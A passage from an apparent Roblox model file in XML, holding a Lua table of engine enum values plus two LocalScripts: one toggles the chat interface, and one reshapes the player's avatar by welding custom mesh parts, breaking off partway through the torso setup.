 &quot;Sand&quot;,
 &quot;Brick&quot;,
 &quot;Granite&quot;,
 &quot;Asphalt&quot;,
 &quot;Iron&quot;,
 &quot;Aluminum&quot;,
 &quot;Gold&quot;,
 &quot;WoodPlank&quot;,
 &quot;WoodLog&quot;,
 &quot;Gravel&quot;,
 &quot;CinderBlock&quot;,
 &quot;MossyStone&quot;,
 &quot;Cement&quot;,
 &quot;RedPlastic&quot;,
 &quot;BluePlastic&quot;,
 &quot;Water&quot;,
 [0] = &quot;Empty&quot;
 }
 },
 MeshType = {
 Name = &quot;MeshType&quot;,
 EnumItems = {
 &quot;Torso&quot;,
 &quot;Wedge&quot;,
 &quot;Sphere&quot;,
 &quot;Cylinder&quot;,
 &quot;FileMesh&quot;,
 &quot;Brick&quot;,
 &quot;Prism&quot;,
 &quot;Pyramid&quot;,
 &quot;ParallelRamp&quot;,
 &quot;RightAngleRamp&quot;,
 &quot;CornerWedge&quot;,
 [0] = &quot;Head&quot;
 }
 },
 CellOrientation = {
 Name = &quot;CellOrientation&quot;,
 EnumItems = {
 &quot;X&quot;,
 &quot;Z&quot;,
 &quot;NegX&quot;,
 [0] = &quot;NegZ&quot;
 }
 },
 TextYAlignment = {
 Name = &quot;TextYAlignment&quot;,
 EnumItems = {
 &quot;Center&quot;,
 &quot;Bottom&quot;,
 [0] = &quot;Top&quot;
 }
 },
 CreatorType = {
 Name = &quot;CreatorType&quot;,
 EnumItems = {
 &quot;Group&quot;,
 [0] = &quot;User&quot;
 }
 },
 FilterResult = {
 Name = &quot;FilterResult&quot;,
 EnumItems = {
 &quot;Rejected&quot;,
 [0] = &quot;Accepted&quot;
 }
 },
 UploadSetting = {
 Name = &quot;UploadSetting&quot;,
 EnumItems = {
 &quot;Ask&quot;,
 &quot;Always&quot;,
 [0] = &quot;Never&quot;
 }
 },
 PhysicsReceiveMethod = {
 Name = &quot;PhysicsReceiveMethod&quot;,
 EnumItems = {
 &quot;Interpolation&quot;,
 [0] = &quot;Direct&quot;
 }
 },
 D3DFORMAT = {
 Name = &quot;D3DFORMAT&quot;,
 EnumItems = {
 [27] = &quot;D3DFMT_R3G3B2&quot;,
 [31] = &quot;D3DFMT_A2B10G10R10&quot;,
 [75] = &quot;D3DFMT_D24S8&quot;,
 [62] = &quot;D3DFMT_X8L8V8U8&quot;,
 [77] = &quot;D3DFMT_D24X8&quot;,
 [63] = &quot;D3DFMT_Q8W8V8U8&quot;,
 [20] = &quot;D3DFMT_R8G8B8&quot;,
 [24] = &quot;D3DFMT_X1R5G5B5&quot;,
 [28] = &quot;D3DFMT_A8&quot;,
 [32] = &quot;D3DFMT_A8B8G8R8&quot;,
 [40] = &quot;D3DFMT_A8P8&quot;,
 [111] = &quot;D3DFMT_R16F&quot;,
 [64] = &quot;D3DFMT_V16U16&quot;,
 [80] = &quot;D3DFMT_D16&quot;,
 [112] = &quot;D3DFMT_G16R16F&quot;,
 [33] = &quot;D3DFMT_X8B8G8R8&quot;,
 [41] = &quot;D3DFMT_P8&quot;,
 [113] = &quot;D3DFMT_A16B16G16R16F&quot;,
 [21] = &quot;D3DFMT_A8R8G8B8&quot;,
 [25] = &quot;D3DFMT_A1R5G5B5&quot;,
 [29] = &quot;D3DFMT_A8R3G3B2&quot;,
 [67] = &quot;D3DFMT_A2W10V10U10&quot;,
 [83] = &quot;D3DFMT_D24FS8&quot;,
 [50] = &quot;D3DFMT_L8&quot;,
 [115] = &quot;D3DFMT_G32R32F&quot;,
 [100] = &quot;D3DFMT_VERTEXDATA&quot;,
 [116] = &quot;D3DFMT_A32B32G32R32F&quot;,
 [35] = &quot;D3DFMT_A2R10G10B10&quot;,
 [114] = &quot;D3DFMT_R32F&quot;,
 [51] = &quot;D3DFMT_A8L8&quot;,
 [117] = &quot;D3DFMT_CxV8U8&quot;,
 [70] = &quot;D3DFMT_D16_LOCKABLE&quot;,
 [22] = &quot;D3DFMT_X8R8G8B8&quot;,
 [26] = &quot;D3DFMT_A4R4G4B4&quot;,
 [30] = &quot;D3DFMT_X4R4G4B4&quot;,
 [71] = &quot;D3DFMT_D32&quot;,
 [110] = &quot;D3DFMT_Q16W16V16U16&quot;,
 [52] = &quot;D3DFMT_A4L4&quot;,
 [60] = &quot;D3DFMT_V8U8&quot;,
 [102] = &quot;D3DFMT_INDEX32&quot;,
 [101] = &quot;D3DFMT_INDEX16&quot;,
 [81] = &quot;D3DFMT_L16&quot;,
 [82] = &quot;D3DFMT_D32F_LOCKABLE&quot;,
 [73] = &quot;D3DFMT_D15S1&quot;,
 [79] = &quot;D3DFMT_D24X4S4&quot;,
 [0] = &quot;D3DFMT_UNKNOWN&quot;,
 [61] = &quot;D3DFMT_L6V5U5&quot;,
 [34] = &quot;D3DFMT_G16R16&quot;,
 [23] = &quot;D3DFMT_R5G6B5&quot;,
 [36] = &quot;D3DFMT_A16B16G16R16&quot;
 }
 },
 ReverbType = {
 Name = &quot;ReverbType&quot;,
 EnumItems = {
 &quot;GenericReverb&quot;,
 &quot;PaddedCell&quot;,
 &quot;Room&quot;,
 &quot;Bathroom&quot;,
 &quot;LivingRoom&quot;,
 &quot;StoneRoom&quot;,
 &quot;Auditorium&quot;,
 &quot;ConcertHall&quot;,
 &quot;Cave&quot;,
 &quot;Arena&quot;,
 &quot;Hangar&quot;,
 &quot;CarpettedHallway&quot;,
 &quot;Hallway&quot;,
 &quot;StoneCorridor&quot;,
 &quot;Alley&quot;,
 &quot;Forest&quot;,
 &quot;City&quot;,
 &quot;Mountains&quot;,
 &quot;Quarry&quot;,
 &quot;Plain&quot;,
 &quot;ParkingLot&quot;,
 &quot;SewerPipe&quot;,
 &quot;UnderWater&quot;,
 [0] = &quot;NoReverb&quot;
 }
 },
 ControlMode = {
 Name = &quot;ControlMode&quot;,
 EnumItems = {
 &quot;MouseLockSwitch&quot;,
 [0] = &quot;Classic&quot;
 }
 },
 CameraType = {
 Name = &quot;CameraType&quot;,
 EnumItems = {
 &quot;Attach&quot;,
 &quot;Watch&quot;,
 &quot;Track&quot;,
 &quot;Follow&quot;,
 &quot;Custom&quot;,
 &quot;Scriptable&quot;,
 [0] = &quot;Fixed&quot;
 }
 },
 Button = {
 Name = &quot;Button&quot;,
 EnumItems = {
 [32] = &quot;Jump&quot;,
 [8] = &quot;Dismount&quot;
 }
 },
 ChatStyle = {
 Name = &quot;ChatStyle&quot;,
 EnumItems = {
 &quot;Bubble&quot;,
 &quot;ClassicAndBubble&quot;,
 [0] = &quot;Classic&quot;
 }
 },
 EasingDirection = {
 Name = &quot;EasingDirection&quot;,
 EnumItems = {
 &quot;Out&quot;,
 &quot;InOut&quot;,
 [0] = &quot;In&quot;
 }
 },
 SpecialKey = {
 Name = &quot;SpecialKey&quot;,
 EnumItems = {
 &quot;Home&quot;,
 &quot;End&quot;,
 &quot;PageUp&quot;,
 &quot;PageDown&quot;,
 &quot;ChatHotkey&quot;,
 [0] = &quot;Insert&quot;
 }
 },
 JointType = {
 Name = &quot;JointType&quot;,
 EnumItems = {
 &quot;Weld&quot;,
 [6] = &quot;Rotate&quot;,
 [13] = &quot;None&quot;,
 [8] = &quot;RotateV&quot;,
 [3] = &quot;Snap&quot;,
 [9] = &quot;Glue&quot;,
 [7] = &quot;RotateP&quot;
 }
 },
 WaterDirection = {
 Name = &quot;WaterDirection&quot;,
 EnumItems = {
 &quot;X&quot;,
 &quot;NegY&quot;,
 &quot;Y&quot;,
 &quot;NegZ&quot;,
 &quot;Z&quot;,
 [0] = &quot;NegX&quot;
 }
 },
 Font = {
 Name = &quot;Font&quot;,
 EnumItems = {
 &quot;Arial&quot;,
 &quot;ArialBold&quot;,
 [0] = &quot;Legacy&quot;
 }
 },
 Style = {
 Name = &quot;Style&quot;,
 EnumItems = {
 &quot;BridgeStyleSupports&quot;,
 &quot;NoSupports&quot;,
 [0] = &quot;AlternatingSupports&quot;
 }
 },
 CenterDialogType = {
 Name = &quot;CenterDialogType&quot;,
 EnumItems = {
 &quot;UnsolicitedDialog&quot;,
 &quot;PlayerInitiatedDialog&quot;,
 &quot;ModalDialog&quot;,
 &quot;QuitDialog&quot;
 }
 },
 ActionType = {
 Name = &quot;ActionType&quot;,
 EnumItems = {
 &quot;Pause&quot;,
 &quot;Lose&quot;,
 &quot;Draw&quot;,
 &quot;Win&quot;,
 [0] = &quot;Nothing&quot;
 }
 },
 PacketPriority = {
 Name = &quot;PacketPriority&quot;,
 EnumItems = {
 &quot;HIGH_PRIORITY&quot;,
 &quot;MEDIUM_PRIORITY&quot;,
 &quot;LOW_PRIORITY&quot;,
 [0] = &quot;IMMEDIATE_PRIORITY&quot;
 }
 },
 FontSize = {
 Name = &quot;FontSize&quot;,
 EnumItems = {
 &quot;Size9&quot;,
 &quot;Size10&quot;,
 &quot;Size11&quot;,
 &quot;Size12&quot;,
 &quot;Size14&quot;,
 &quot;Size18&quot;,
 &quot;Size24&quot;,
 &quot;Size36&quot;,
 &quot;Size48&quot;,
 [0] = &quot;Size8&quot;
 }
 },
 UserInputType = {
 Name = &quot;UserInputType&quot;,
 EnumItems = {
 &quot;MouseButton2&quot;,
 &quot;MouseButton3&quot;,
 &quot;MouseWheel&quot;,
 &quot;MouseMovement&quot;,
 &quot;Touch&quot;,
 &quot;Keyboard&quot;,
 &quot;None&quot;,
 [0] = &quot;MouseButton1&quot;
 }
 },
 ThreadPoolConfig = {
 Name = &quot;ThreadPoolConfig&quot;,
 EnumItems = {
 &quot;Threads1&quot;,
 &quot;Threads2&quot;,
 &quot;Threads3&quot;,
 &quot;Threads4&quot;,
 [0] = &quot;Auto&quot;,
 [101] = &quot;PerCore1&quot;,
 [103] = &quot;PerCore3&quot;,
 [16] = &quot;Threads16&quot;,
 [102] = &quot;PerCore2&quot;,
 [104] = &quot;PerCore4&quot;,
 [8] = &quot;Threads8&quot;
 }
 },
 SoundType = {
 Name = &quot;SoundType&quot;,
 EnumItems = {
 &quot;Boing&quot;,
 &quot;Bomb&quot;,
 &quot;Break&quot;,
 &quot;Click&quot;,
 &quot;Clock&quot;,
 &quot;Slingshot&quot;,
 &quot;Page&quot;,
 &quot;Ping&quot;,
 &quot;Snap&quot;,
 &quot;Splat&quot;,
 &quot;Step&quot;,
 &quot;StepOn&quot;,
 &quot;Swoosh&quot;,
 &quot;Victory&quot;,
 [0] = &quot;NoSound&quot;
 }
 },
 PrismSides = {
 Name = &quot;PrismSides&quot;,
 EnumItems = {
 [6] = &quot;6&quot;,
 [8] = &quot;8&quot;,
 [3] = &quot;3&quot;,
 [20] = &quot;20&quot;,
 [5] = &quot;5&quot;,
 [10] = &quot;10&quot;
 }
 },
 LevelOfDetailSetting = {
 Name = &quot;LevelOfDetailSetting&quot;,
 EnumItems = {
 &quot;Medium&quot;,
 &quot;High&quot;,
 [0] = &quot;Low&quot;
 }
 },
 PacketReliability = {
 Name = &quot;PacketReliability&quot;,
 EnumItems = {
 &quot;UNRELIABLE_SEQUENCED&quot;,
 &quot;RELIABLE&quot;,
 &quot;RELIABLE_ORDERED&quot;,
 &quot;RELIABLE_SEQUENCED&quot;,
 [0] = &quot;UNRELIABLE&quot;
 }
 },
 SavedQualitySetting = {
 Name = &quot;SavedQualitySetting&quot;,
 EnumItems = {
 &quot;QualityLevel1&quot;,
 &quot;QualityLevel2&quot;,
 &quot;QualityLevel3&quot;,
 &quot;QualityLevel4&quot;,
 &quot;QualityLevel5&quot;,
 &quot;QualityLevel6&quot;,
 &quot;QualityLevel7&quot;,
 &quot;QualityLevel8&quot;,
 &quot;QualityLevel9&quot;,
 &quot;QualityLevel10&quot;,
 [0] = &quot;Automatic&quot;
 }
 },
 SizeConstraint = {
 Name = &quot;SizeConstraint&quot;,
 EnumItems = {
 &quot;RelativeXX&quot;,
 &quot;RelativeYY&quot;,
 [0] = &quot;RelativeXY&quot;
 }
 },
 Shadow = {
 Name = &quot;Shadow&quot;,
 EnumItems = {
 &quot;All&quot;,
 &quot;Off&quot;,
 &quot;CharacterOnly&quot;,
 [0] = &quot;Automatic&quot;
 }
 },
 FriendStatus = {
 Name = &quot;FriendStatus&quot;,
 EnumItems = {
 &quot;NotFriend&quot;,
 &quot;Friend&quot;,
 &quot;FriendRequestSent&quot;,
 &quot;FriendRequestReceived&quot;,
 [0] = &quot;Unknown&quot;
 }
 },
 PlayerChatType = {
 Name = &quot;PlayerChatType&quot;,
 EnumItems = {
 &quot;Team&quot;,
 &quot;Whisper&quot;,
 [0] = &quot;All&quot;
 }
 },
 Stuff = {
 Name = &quot;Stuff&quot;,
 EnumItems = {
 &quot;Faces&quot;,
 &quot;Hats&quot;,
 &quot;TShirts&quot;,
 &quot;Shirts&quot;,
 &quot;Pants&quot;,
 &quot;Gears&quot;,
 &quot;Torsos&quot;,
 &quot;LeftArms&quot;,
 &quot;RightArms&quot;,
 &quot;LeftLegs&quot;,
 &quot;RightLegs&quot;,
 &quot;Bodies&quot;,
 &quot;Costumes&quot;,
 [0] = &quot;Heads&quot;
 }
 },
 QualityLevel = {
 Name = &quot;QualityLevel&quot;,
 EnumItems = {
 &quot;Level01&quot;,
 &quot;Level02&quot;,
 &quot;Level03&quot;,
 &quot;Level04&quot;,
 &quot;Level05&quot;,
 &quot;Level06&quot;,
 &quot;Level07&quot;,
 &quot;Level08&quot;,
 &quot;Level09&quot;,
 &quot;Level10&quot;,
 &quot;Level11&quot;,
 &quot;Level12&quot;,
 &quot;Level13&quot;,
 &quot;Level14&quot;,
 &quot;Level15&quot;,
 &quot;Level16&quot;,
 &quot;Level17&quot;,
 &quot;Level18&quot;,
 &quot;Level19&quot;,
 &quot;Level20&quot;,
 &quot;Level21&quot;,
 [0] = &quot;Automatic&quot;
 }
 },
 PrivilegeType = {
 Name = &quot;PrivilegeType&quot;,
 EnumItems = {
 [0] = &quot;Banned&quot;,
 [10] = &quot;Visitor&quot;,
 [128] = &quot;Member&quot;,
 [255] = &quot;Owner&quot;,
 [240] = &quot;Admin&quot;
 }
 },
 Antialiasing = {
 Name = &quot;Antialiasing&quot;,
 EnumItems = {
 &quot;On&quot;,
 &quot;Off&quot;,
 [0] = &quot;Automatic&quot;
 }
 },
 AASamples = {
 Name = &quot;AASamples&quot;,
 EnumItems = {
 &quot;None&quot;,
 [4] = &quot;4&quot;,
 [8] = &quot;8&quot;
 }
 },
 VideoQualitySettings = {
 Name = &quot;VideoQualitySettings&quot;,
 EnumItems = {
 &quot;MediumResolution&quot;,
 &quot;HighResolution&quot;,
 [0] = &quot;LowResolution&quot;
 }
 },
 TickCountSampleMethod = {
 Name = &quot;TickCountSampleMethod&quot;,
 EnumItems = {
 &quot;Benchmark&quot;,
 &quot;Precise&quot;,
 [0] = &quot;Fast&quot;
 }
 },
 D3DDEVTYPE = {
 Name = &quot;D3DDEVTYPE&quot;,
 EnumItems = {
 &quot;D3DDEVTYPE_HAL&quot;,
 &quot;D3DDEVTYPE_REF&quot;,
 &quot;D3DDEVTYPE_SW&quot;,
 &quot;D3DDEVTYPE_NULLREF&quot;
 }
 },
 MembershipType = {
 Name = &quot;MembershipType&quot;,
 EnumItems = {
 &quot;BuildersClub&quot;,
 &quot;TurboBuildersClub&quot;,
 &quot;OutrageousBuildersClub&quot;,
 [0] = &quot;None&quot;
 }
 },
 UserInputState = {
 Name = &quot;UserInputState&quot;,
 EnumItems = {
 &quot;Change&quot;,
 &quot;End&quot;,
 &quot;None&quot;,
 [0] = &quot;Begin&quot;
 }
 },
 ExplosionType = {
 Name = &quot;ExplosionType&quot;,
 EnumItems = {
 &quot;Craters&quot;,
 &quot;CratersAndDebris&quot;,
 [0] = &quot;NoCraters&quot;
 }
 },
 DialogTone = {
 Name = &quot;DialogTone&quot;,
 EnumItems = {
 &quot;Friendly&quot;,
 &quot;Enemy&quot;,
 [0] = &quot;Neutral&quot;
 }
 },
 DialogPurpose = {
 Name = &quot;DialogPurpose&quot;,
 EnumItems = {
 &quot;Help&quot;,
 &quot;Shop&quot;,
 [0] = &quot;Quest&quot;
 }
 },
 AnimationPriority = {
 Name = &quot;AnimationPriority&quot;,
 EnumItems = {
 &quot;Movement&quot;,
 &quot;Action&quot;,
 [0] = &quot;Idle&quot;
 }
 },
 HandlesStyle = {
 Name = &quot;HandlesStyle&quot;,
 EnumItems = {
 &quot;Movement&quot;,
 [0] = &quot;Resize&quot;
 }
 },
 ButtonStyle = {
 Name = &quot;ButtonStyle&quot;,
 EnumItems = {
 &quot;RobloxButtonDefault&quot;,
 &quot;RobloxButton&quot;,
 [0] = &quot;Custom&quot;
 }
 },
 BodyPart = {
 Name = &quot;BodyPart&quot;,
 EnumItems = {
 &quot;Torso&quot;,
 &quot;LeftArm&quot;,
 &quot;RightArm&quot;,
 &quot;LeftLeg&quot;,
 &quot;RightLeg&quot;,
 [0] = &quot;Head&quot;
 }
 },
 CurrencyType = {
 Name = &quot;CurrencyType&quot;,
 EnumItems = {
 &quot;Robux&quot;,
 &quot;Tix&quot;,
 [0] = &quot;Default&quot;
 }
 },
 ChatColor = {
 Name = &quot;ChatColor&quot;,
 EnumItems = {
 &quot;Green&quot;,
 &quot;Red&quot;,
 [0] = &quot;Blue&quot;
 }
 },
 ErrorReporting = {
 Name = &quot;ErrorReporting&quot;,
 EnumItems = {
 &quot;Prompt&quot;,
 &quot;Report&quot;,
 [0] = &quot;DontReport&quot;
 }
 },
 PyramidSides = {
 Name = &quot;PyramidSides&quot;,
 EnumItems = {
 [3] = &quot;3&quot;,
 [4] = &quot;4&quot;,
 [5] = &quot;5&quot;,
 [6] = &quot;6&quot;,
 [8] = &quot;8&quot;,
 [10] = &quot;10&quot;,
 [20] = &quot;20&quot;
 }
 },
 Genre = {
 Name = &quot;Genre&quot;,
 EnumItems = {
 &quot;TownAndCity&quot;,
 &quot;Fantasy&quot;,
 &quot;SciFi&quot;,
 &quot;Ninja&quot;,
 &quot;Scary&quot;,
 &quot;Pirate&quot;,
 &quot;Adventure&quot;,
 &quot;Sports&quot;,
 &quot;Funny&quot;,
 &quot;WildWest&quot;,
 &quot;War&quot;,
 &quot;SkatePark&quot;,
 &quot;Tutorial&quot;,
 [0] = &quot;All&quot;
 }
 },
 Resolution = {
 Name = &quot;Resolution&quot;,
 EnumItems = {
 &quot;720x526&quot;,
 &quot;800x600&quot;,
 &quot;1024x600&quot;,
 &quot;1024x768&quot;,
 &quot;1280x720&quot;,
 &quot;1280x768&quot;,
 &quot;1152x864&quot;,
 &quot;1280x800&quot;,
 &quot;1360x768&quot;,
 &quot;1280x960&quot;,
 &quot;1280x1024&quot;,
 &quot;1440x900&quot;,
 &quot;1600x900&quot;,
 &quot;1600x1024&quot;,
 &quot;1600x1200&quot;,
 &quot;1680x1050&quot;,
 &quot;1920x1080&quot;,
 &quot;1920x1200&quot;,
 [0] = &quot;Automatic&quot;
 }
 },
 SurfaceConstraint = {
 Name = &quot;SurfaceConstraint&quot;,
 EnumItems = {
 &quot;Hinge&quot;,
 &quot;SteppingMotor&quot;,
 &quot;Motor&quot;,
 [0] = &quot;None&quot;
 }
 },
 EasingStyle = {
 Name = &quot;EasingStyle&quot;,
 EnumItems = {
 &quot;Sine&quot;,
 &quot;Back&quot;,
 &quot;Quad&quot;,
 &quot;Quart&quot;,
 &quot;Quint&quot;,
 &quot;Bounce&quot;,
 &quot;Elastic&quot;,
 [0] = &quot;Linear&quot;
 }
 },
 SurfaceType = {
 Name = &quot;SurfaceType&quot;,
 EnumItems = {
 &quot;Glue&quot;,
 &quot;Weld&quot;,
 &quot;Studs&quot;,
 &quot;Inlet&quot;,
 &quot;Universal&quot;,
 &quot;Hinge&quot;,
 &quot;Motor&quot;,
 &quot;SteppingMotor&quot;,
 &quot;Unjoinable&quot;,
 &quot;SmoothNoOutlines&quot;,
 [0] = &quot;Smooth&quot;
 }
 },
 TopBottom = {
 Name = &quot;TopBottom&quot;,
 EnumItems = {
 &quot;Center&quot;,
 &quot;Bottom&quot;,
 [0] = &quot;Top&quot;
 }
 },
 Status = {
 Name = &quot;Status&quot;,
 EnumItems = {
 &quot;Confusion&quot;,
 [0] = &quot;Poison&quot;
 }
 },
 NormalId = {
 Name = &quot;NormalId&quot;,
 EnumItems = {
 &quot;Top&quot;,
 &quot;Back&quot;,
 &quot;Left&quot;,
 &quot;Bottom&quot;,
 &quot;Front&quot;,
 [0] = &quot;Right&quot;
 }
 },
 SaveFilter = {
 Name = &quot;SaveFilter&quot;,
 EnumItems = {
 &quot;SaveGame&quot;,
 &quot;SaveAll&quot;,
 [0] = &quot;SaveWorld&quot;
 }
 },
 ConcurrencyModel = {
 Name = &quot;ConcurrencyModel&quot;,
 EnumItems = {
 &quot;Safe&quot;,
 &quot;Logical&quot;,
 &quot;Empirical&quot;,
 [0] = &quot;Serial&quot;
 }
 },
 SleepAdjustMethod = {
 Name = &quot;SleepAdjustMethod&quot;,
 EnumItems = {
 &quot;LastSample&quot;,
 &quot;AverageInterval&quot;,
 [0] = &quot;None&quot;
 }
 },
 GearGenreSetting = {
 Name = &quot;GearGenreSetting&quot;,
 EnumItems = {
 &quot;MatchingGenreOnly&quot;,
 [0] = &quot;AllGenres&quot;
 }
 },
 FramerateManagerMode = {
 Name = &quot;FramerateManagerMode&quot;,
 EnumItems = {
 &quot;On&quot;,
 &quot;Off&quot;,
 [0] = &quot;Automatic&quot;
 }
 },
 FriendRequestEvent = {
 Name = &quot;FriendRequestEvent&quot;,
 EnumItems = {
 &quot;Revoke&quot;,
 &quot;Accept&quot;,
 &quot;Deny&quot;,
 [0] = &quot;Issue&quot;
 }
 },
 FunctionalTestResult = {
 Name = &quot;FunctionalTestResult&quot;,
 EnumItems = {
 &quot;Warning&quot;,
 &quot;Error&quot;,
 [0] = &quot;Passed&quot;
 }
 },
 CellBlock = {
 Name = &quot;CellBlock&quot;,
 EnumItems = {
 &quot;VerticalWedge&quot;,
 &quot;CornerWedge&quot;,
 &quot;InverseCornerWedge&quot;,
 &quot;HorizontalWedge&quot;,
 [0] = &quot;Solid&quot;
 }
 },
 CameraMode = {
 Name = &quot;CameraMode&quot;,
 EnumItems = {
 &quot;LockFirstPerson&quot;,
 [0] = &quot;Classic&quot;
 }
 },
 Material = {
 Name = &quot;Material&quot;,
 EnumItems = {
 [1040] = &quot;CorrodedMetal&quot;,
 [1056] = &quot;DiamondPlate&quot;,
 [1536] = &quot;Ice&quot;,
 [1072] = &quot;Foil&quot;,
 [256] = &quot;Plastic&quot;,
 [512] = &quot;Wood&quot;,
 [800] = &quot;Slate&quot;,
 [816] = &quot;Concrete&quot;,
 [1280] = &quot;Grass&quot;
 }
 },
 GraphicsMode = {
 Name = &quot;GraphicsMode&quot;,
 EnumItems = {
 &quot;Automatic&quot;,
 [3] = &quot;Direct3D&quot;,
 [4] = &quot;OpenGL&quot;,
 [5] = &quot;NoGraphics&quot;
 }
 },
 BinType = {
 Name = &quot;BinType&quot;,
 EnumItems = {
 &quot;GameTool&quot;,
 &quot;Grab&quot;,
 &quot;Clone&quot;,
 &quot;Hammer&quot;,
 [0] = &quot;Script&quot;
 }
 },
 FrameStyle = {
 Name = &quot;FrameStyle&quot;,
 EnumItems = {
 &quot;ChatBlue&quot;,
 &quot;RobloxSquare&quot;,
 &quot;RobloxRound&quot;,
 &quot;ChatGreen&quot;,
 &quot;ChatRed&quot;,
 [0] = &quot;Custom&quot;
 }
 },
 TextXAlignment = {
 Name = &quot;TextXAlignment&quot;,
 EnumItems = {
 &quot;Right&quot;,
 &quot;Center&quot;,
 [0] = &quot;Left&quot;
 }
 },
 KeywordFilterType = {
 Name = &quot;KeywordFilterType&quot;,
 EnumItems = {
 &quot;Exclude&quot;,
 [0] = &quot;Include&quot;
 }
 },
 NameOcclusion = {
 Name = &quot;NameOcclusion&quot;,
 EnumItems = {
 &quot;EnemyOcclusion&quot;,
 &quot;OccludeAll&quot;,
 [0] = &quot;NoOcclusion&quot;
 }
 },
 CameraInputMode = {
 Name = &quot;CameraInputMode&quot;,
 EnumItems = {
 &quot;Build&quot;,
 [0] = &quot;Classic&quot;
 }
 },
 PhysicsSendMethod = {
 Name = &quot;PhysicsSendMethod&quot;,
 EnumItems = {
 &quot;ErrorComputation2&quot;,
 &quot;RoundRobin&quot;,
 &quot;TopNErrors&quot;,
 [0] = &quot;ErrorComputation&quot;
 }
 }
}
----------------
-- GLOBAL SET --
----------------
-- Make it available to _G

_G.qAPI = lib</ProtectedString>
					</Properties>
				</Item>
			</Item>
			<Item class="LocalScript" referent="RBX70">
				<Properties>
					<bool name="Disabled">true</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">mute</string>
					<ProtectedString name="Source">local trueorfalse = script.Val.Value
pcall(function() game.StarterGui:SetCoreGuiEnabled(Enum.CoreGuiType.Chat, trueorfalse) end)
wait(5)
script:Remove()</ProtectedString>
				</Properties>
				<Item class="BoolValue" referent="RBX71">
					<Properties>
						<string name="Name">Val</string>
						<bool name="Value">false</bool>
					</Properties>
				</Item>
			</Item>
			<Item class="LocalScript" referent="RBX72">
				<Properties>
					<bool name="Disabled">true</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">gubby</string>
					<ProtectedString name="Source">-- 2012-style LocalScript. Define ALL part offsets (including root) at the top before running.
-- FIXED: Limbs positioned with offsets but still animate using Motor joints (2010-style)

local HeadOffset       = Vector3.new( 0,   0.72,  -0.79)
local EarROffset       = Vector3.new(-0.23, -1.48,  0.54)
local EarLOffset       = Vector3.new( 0.23, -1.48,  0.54)

local FakeTorsoOffset  = Vector3.new(0,     0,     0)

local TailOffset       = Vector3.new(0,   -0.54, -1.04)
local BunsLOffset      = Vector3.new(0.41, -0.03, -0.57)
local BunsROffset      = Vector3.new(-0.43, -0.01, -0.57)

local LeftArmOffset    = Vector3.new( 0.46,  -0.59, -0.61)
local RightArmOffset   = Vector3.new(-0.46,  -0.59, -0.61)
local LeftLegOffset    = Vector3.new( 0.46,  -0.59,  0.61)
local RightLegOffset   = Vector3.new(-0.46,  -0.59,  0.60)

-- Limb rotations in degrees (X = pitch, Y = yaw, Z = roll)
local LeftArmRotation  = Vector3.new(0, 90, 0)   -- Rotation for left arm
local RightArmRotation = Vector3.new(0, 90, 0)   -- Rotation for right arm  
local LeftLegRotation  = Vector3.new(0, 90, 0)   -- Rotation for left leg
local RightLegRotation = Vector3.new(0, 90, 0)   -- Rotation for right leg

local LimbSize         = Vector3.new(1,1,1)
local BunsSize         = Vector3.new(1,1,1)
local TailSize         = Vector3.new(0.696, 0.348, 0.348)

local RootOffset       = Vector3.new(0,  -0.9,  0) --humanoidrootpart
local TorsoOffset     = Vector3.new(0, -0.8, 0) --torso obv
--   ? X=right, Y=up, Z=forward.  
--   Negative Y will drop the RootPart down.

-- =================================

local players = game:GetService(&quot;Players&quot;)
local player  = players.LocalPlayer
local char    = player.Character or player.CharacterAdded:Wait()

-- prevent re-run
if char:findFirstChild(&quot;IsGubby&quot;) then return end

-- core references
local torso = char:findFirstChild(&quot;Torso&quot;)
local head  = char:findFirstChild(&quot;Head&quot;)
if not torso or not head then return end


local is2012M = pcall(function()
    return game:GetService(&quot;GuiService&quot;).UseLuaChat
end)


-- hide real torso
torso.Transparency = 1
torso.CanCollide   = false


-- Helper functions for rotations (matching resize script style)
local R90  = CFrame.fromEulerAnglesXYZ(0,  math.pi/2, 0)
local Rm90 = CFrame.fromEulerAnglesXYZ(0, -math.pi/2, 0)

for i, v in ipairs(char:children()) do
if v:isA(&quot;RobloxPackage&quot;) or v:isA(&quot;CharacterMesh&quot;) then
v.Parent = char.Torso
wait()
end
end

-- 1) HEAD
do
    local hm = head:findFirstChild(&quot;Mesh&quot;)
    if hm and is2012M then
        hm.MeshType = &quot;FileMesh&quot;
        hm.MeshId   = &quot;https://www.roblox.com/asset/?id=5560742556&quot;
        hm.Scale    = Vector3.new(0.798061311, 0.671487033, 0.798061311)
   else
&#9;wait()
&#9;local round = script.roundhead:clone() round.Parent = hm.Parent
&#9;round.Name = &quot;Mesh&quot; -- compat with resize
&#9;local compati = Instance.new(&quot;BoolValue&quot;, hm.Parent.Parent)
&#9;compati.Name = &quot;Pre2012M&quot;
&#9;hm:remove() ---lazy compat fix, o well
    end
    local w = Instance.new(&quot;Weld&quot;)
    w.Parent = torso
    w.Part0  = torso
    w.Part1  = head
    w.C1     = CFrame.new(HeadOffset)
end

-- 2) EARS
for _, data in ipairs({
    { name = &quot;EarR&quot;, offs = EarROffset },
    { name = &quot;EarL&quot;, offs = EarLOffset },
}) do
    local part = Instance.new(&quot;Part&quot;)
    part.Name       = data.name
    part.formFactor = Enum.FormFactor.Symmetric
    part.Size       = Vector3.new(1,1,1)
    part.Parent     = char
    part.CanCollide = false
&#9;pcall(function() part.Material = Enum.Material.SmoothPlastic end)

    local mesh = Instance.new(&quot;SpecialMesh&quot;)
    mesh.MeshType = &quot;Wedge&quot;
    mesh.Parent   = part
    mesh.Scale = Vector3.new(0.207475901, 0.514878333, 0.772317469)

    local w = Instance.new(&quot;Weld&quot;)
    w.Parent  = torso
    w.Part0   = torso
    w.Part1   = part
    w.C1      = CFrame.new(data.offs)
end

-- 3) FAKE TORSO
do
    local ft = Instance.new(&quot;Part&quot;)
    ft.Name       = &quot;FakeTorso&quot;
   ft.formFactor = Enum.FormFactor.Symmetric
    ft.Size       = Vector3.new(1,1,1 )
    ft.Parent     = char
    ft.CanCollide = false

    local mesh = Instance.new(&quot;SpecialMesh&quot;)
    mesh.MeshType = &quot;FileMesh&quot;
    mesh.MeshId   = &quot;https://www.roblox.com/asset/?id=5560742556&quot;
    mesh.Scale    = Vector3.new(1.2024554, 0.917663276, 1.61382174)
    mesh.Parent   = ft

    local w = Instance.new(&quot;Weld&quot;)
    w.Parent = torso
    w.Part0  = torso
    w.Part1  = ft
    -- only yaw 90&#176; on Y, then apply offset
